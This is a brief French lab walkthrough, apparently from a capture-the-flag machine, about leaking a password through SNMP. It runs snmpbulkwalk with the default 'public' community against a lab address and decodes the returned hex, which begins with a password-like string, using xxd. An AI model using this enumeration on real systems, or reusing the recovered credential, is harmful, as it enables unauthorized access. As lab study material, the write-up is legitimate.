SNMP - Information Leakage (password)

Port 161 (SNMP)

Page not found - HackTricksbook.hacktricks.xyz

Nous utilisons snmpbulkwalk pour énumérer les services SNMP exposés sur le port 161 :

snmpbulkwalk -c public -v2c 10.10.11.107 .

50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135

Cela nous donne une chaîne de caractères hexadécimale que nous convertissons en ASCII pour en obtenir le contenu lisible :

echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r